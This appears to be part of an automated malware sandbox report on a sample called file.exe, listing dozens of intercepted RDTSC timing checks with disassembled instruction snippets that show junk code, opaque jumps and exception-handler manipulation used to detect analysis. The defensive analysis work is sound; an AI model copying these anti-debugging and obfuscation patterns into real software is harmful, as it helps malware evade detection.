Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1175FAD second address: 1175FB4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117333F second address: 1173345 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1173345 second address: 117334F instructions: 0x00000000 rdtsc 0x00000002 jl 00007F020CB267ECh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1172338 second address: 1172351 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F020CB28454h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11752D6 second address: 11752DA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11752DA second address: 11752E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117141B second address: 1171426 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push ecx 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11752E0 second address: 117536D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jne 00007F020CB28446h 0x00000009 jno 00007F020CB28446h 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 nop 0x00000013 push 00000000h 0x00000015 push edx 0x00000016 call 00007F020CB28448h 0x0000001b pop edx 0x0000001c mov dword ptr [esp+04h], edx 0x00000020 add dword ptr [esp+04h], 00000018h 0x00000028 inc edx 0x00000029 push edx 0x0000002a ret 0x0000002b pop edx 0x0000002c ret 0x0000002d push dword ptr fs:[00000000h] 0x00000034 mov edi, dword ptr [ebp+122D38C9h] 0x0000003a mov dword ptr fs:[00000000h], esp 0x00000041 pushad 0x00000042 or si, 713Fh 0x00000047 mov dword ptr [ebp+122D2327h], edx 0x0000004d popad 0x0000004e mov eax, dword ptr [ebp+122D1205h] 0x00000054 jnc 00007F020CB2844Ah 0x0000005a push FFFFFFFFh 0x0000005c push 00000000h 0x0000005e push ebx 0x0000005f call 00007F020CB28448h 0x00000064 pop ebx 0x00000065 mov dword ptr [esp+04h], ebx 0x00000069 add dword ptr [esp+04h], 00000019h 0x00000071 inc ebx 0x00000072 push ebx 0x00000073 ret 0x00000074 pop ebx 0x00000075 ret 0x00000076 push eax 0x00000077 push eax 0x00000078 push edx 0x00000079 pushad 0x0000007a push eax 0x0000007b push edx 0x0000007c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117536D second address: 1175378 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F020CB267E6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1171426 second address: 11714B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop ecx 0x00000006 nop 0x00000007 push 00000000h 0x00000009 push ebp 0x0000000a call 00007F020CB28448h 0x0000000f pop ebp 0x00000010 mov dword ptr [esp+04h], ebp 0x00000014 add dword ptr [esp+04h], 00000015h 0x0000001c inc ebp 0x0000001d push ebp 0x0000001e ret 0x0000001f pop ebp 0x00000020 ret 0x00000021 jnp 00007F020CB2844Ch 0x00000027 mov dword ptr [ebp+1247D13Ah], esi 0x0000002d mov ebx, 43284A68h 0x00000032 push dword ptr fs:[00000000h] 0x00000039 call 00007F020CB28455h 0x0000003e mov edi, edx 0x00000040 pop ebx 0x00000041 mov dword ptr fs:[00000000h], esp 0x00000048 mov di, ABE1h 0x0000004c mov eax, dword ptr [ebp+122D0DE1h] 0x00000052 mov ebx, dword ptr [ebp+122D2E88h] 0x00000058 push FFFFFFFFh 0x0000005a clc 0x0000005b jmp 00007F020CB28451h 0x00000060 push eax 0x00000061 push eax 0x00000062 push edx 0x00000063 push ebx 0x00000064 jno 00007F020CB28446h 0x0000006a pop ebx 0x0000006b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11714B0 second address: 11714B5 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117613D second address: 117614B instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c push esi 0x0000000d pop esi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11827E5 second address: 11827EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11827EA second address: 118284C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jng 00007F020CB28446h 0x00000009 jmp 00007F020CB28452h 0x0000000e jno 00007F020CB28446h 0x00000014 popad 0x00000015 jno 00007F020CB28448h 0x0000001b pop edx 0x0000001c pop eax 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 ja 00007F020CB28446h 0x00000026 jmp 00007F020CB28458h 0x0000002b jmp 00007F020CB2844Eh 0x00000030 jno 00007F020CB28446h 0x00000036 popad 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118284C second address: 1182859 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnl 00007F020CB267E6h 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1182962 second address: 1182968 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1182968 second address: 118298A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F020CB267EAh 0x00000007 jp 00007F020CB267E6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jns 00007F020CB267EEh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118298A second address: 11829A2 instructions: 0x00000000 rdtsc 0x00000002 js 00007F020CB28453h 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007F020CB2844Bh 0x0000000f push ebx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1182C2C second address: 1182C44 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F020CB267F4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1182C44 second address: 1182C61 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F020CB28459h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1182C61 second address: 1182C6A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1182C6A second address: 1182C70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1182C70 second address: 1182C8A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edx 0x00000009 jng 00007F020CB267E6h 0x0000000f jmp 00007F020CB267EAh 0x00000014 pop edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1182C8A second address: 1182C94 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F020CB2844Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1184739 second address: 1184741 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1184741 second address: 1184746 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118878E second address: 11887A0 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F020CB267E8h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11887A0 second address: 11887A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11887A5 second address: 11887AA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11887AA second address: 11887B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11887B0 second address: 11887D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b jmp 00007F020CB267F0h 0x00000010 mov eax, dword ptr [eax] 0x00000012 push edi 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11887D2 second address: 11887D6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118D561 second address: 118D568 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118DCA9 second address: 118DCAF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118DE19 second address: 118DE29 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jg 00007F020CB267EEh 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118DE29 second address: 118DE3E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 pushad 0x00000008 jne 00007F020CB2844Ah 0x0000000e push edi 0x0000000f pop edi 0x00000010 pushad 0x00000011 popad 0x00000012 push ecx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118DE3E second address: 118DE5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F020CB267F0h 0x0000000c ja 00007F020CB267E6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118E0FA second address: 118E110 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F020CB28446h 0x00000008 jo 00007F020CB28446h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 push eax 0x00000015 pop eax 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118E110 second address: 118E11C instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F020CB267E6h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118E11C second address: 118E121 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118E266 second address: 118E282 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007F020CB267F6h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118E282 second address: 118E294 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a jng 00007F020CB28446h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118E294 second address: 118E298 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118E5C9 second address: 118E5CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118E5CD second address: 118E5DA instructions: 0x00000000 rdtsc 0x00000002 jng 00007F020CB267E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118E73D second address: 118E741 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118E741 second address: 118E753 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F020CB267E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jl 00007F020CB267EEh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1197879 second address: 119787D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119787D second address: 1197892 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F020CB267F1h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1197892 second address: 1197898 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1197898 second address: 119789D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1196458 second address: 11964A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b pop edx 0x0000000c popad 0x0000000d pushad 0x0000000e jmp 00007F020CB28450h 0x00000013 push eax 0x00000014 jno 00007F020CB28446h 0x0000001a jmp 00007F020CB2844Fh 0x0000001f pop eax 0x00000020 push ebx 0x00000021 jmp 00007F020CB28452h 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1196A44 second address: 1196A50 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jne 00007F020CB267E6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1196BA9 second address: 1196BC3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F020CB28454h 0x00000007 push eax 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1196E76 second address: 1196E7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1196E7C second address: 1196ED3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 jmp 00007F020CB28458h 0x0000000b jmp 00007F020CB2844Bh 0x00000010 popad 0x00000011 jmp 00007F020CB2844Ah 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b js 00007F020CB28446h 0x00000021 jmp 00007F020CB28458h 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1196ED3 second address: 1196EDD instructions: 0x00000000 rdtsc 0x00000002 ja 00007F020CB267E6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1196EDD second address: 1196EE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1197093 second address: 119709B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push edi 0x00000007 pop edi 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1197225 second address: 1197229 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119AB1A second address: 119AB2A instructions: 0x00000000 rdtsc 0x00000002 jp 00007F020CB267F2h 0x00000008 ja 00007F020CB267E6h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1121EBF second address: 1121EC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119E4EB second address: 119E513 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop esi 0x00000006 push edx 0x00000007 pushad 0x00000008 jmp 00007F020CB267F8h 0x0000000d jnc 00007F020CB267E6h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1112F42 second address: 1112F4C instructions: 0x00000000 rdtsc 0x00000002 jc 00007F020CB28446h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1165F74 second address: 1165F79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1166120 second address: 1166125 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1166125 second address: 1166150 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F020CB267EBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push eax 0x0000000c jmp 00007F020CB267F4h 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1166150 second address: 1166154 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1166154 second address: 1166158 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1166158 second address: 116619B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 xchg eax, esi 0x00000008 push 00000000h 0x0000000a push eax 0x0000000b call 00007F020CB28448h 0x00000010 pop eax 0x00000011 mov dword ptr [esp+04h], eax 0x00000015 add dword ptr [esp+04h], 0000001Bh 0x0000001d inc eax 0x0000001e push eax 0x0000001f ret 0x00000020 pop eax 0x00000021 ret 0x00000022 push eax 0x00000023 cld 0x00000024 pop edx 0x00000025 mov cx, 1E13h 0x00000029 je 00007F020CB2844Ch 0x0000002f add edi, 00AEF515h 0x00000035 nop 0x00000036 pushad 0x00000037 push esi 0x00000038 push eax 0x00000039 push edx 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116619B second address: 11661B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F020CB267EFh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116633A second address: 116633E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1166BC3 second address: 1166BC9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1166BC9 second address: 1166BED instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F020CB28456h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f push esi 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1166BED second address: 1166BF9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop esi 0x00000006 mov eax, dword ptr [eax] 0x00000008 pushad 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1166BF9 second address: 1166C30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jmp 00007F020CB28451h 0x0000000a popad 0x0000000b mov dword ptr [esp+04h], eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jns 00007F020CB2845Ah 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1166D14 second address: 1166D64 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F020CB267E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d jp 00007F020CB267E6h 0x00000013 popad 0x00000014 popad 0x00000015 push eax 0x00000016 ja 00007F020CB267F4h 0x0000001c nop 0x0000001d jmp 00007F020CB267EDh 0x00000022 lea eax, dword ptr [ebp+1248A6F0h] 0x00000028 and edx, dword ptr [ebp+122D37CDh] 0x0000002e sbb edi, 639EA296h 0x00000034 nop 0x00000035 push eax 0x00000036 push eax 0x00000037 push edx 0x00000038 push edx 0x00000039 pop edx 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1166D64 second address: 1166D7C instructions: 0x00000000 rdtsc 0x00000002 jl 00007F020CB28446h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f jno 00007F020CB28446h 0x00000015 push edi 0x00000016 pop edi 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A201D second address: 11A2021 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A2021 second address: 11A2027 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A2557 second address: 11A257E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007F020CB267F0h 0x00000008 jbe 00007F020CB267E6h 0x0000000e pop eax 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 jc 00007F020CB267E6h 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A257E second address: 11A2584 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A2584 second address: 11A2589 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A2589 second address: 11A258E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A270F second address: 11A2713 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A2713 second address: 11A2719 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A2719 second address: 11A272F instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007F020CB267EEh 0x00000008 pop ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A84CF second address: 11A84D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A6FFA second address: 11A7023 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007F020CB267F8h 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop ecx 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pushad 0x0000000e js 00007F020CB267ECh 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A7023 second address: 11A7041 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007F020CB28458h 0x0000000b rdtsc
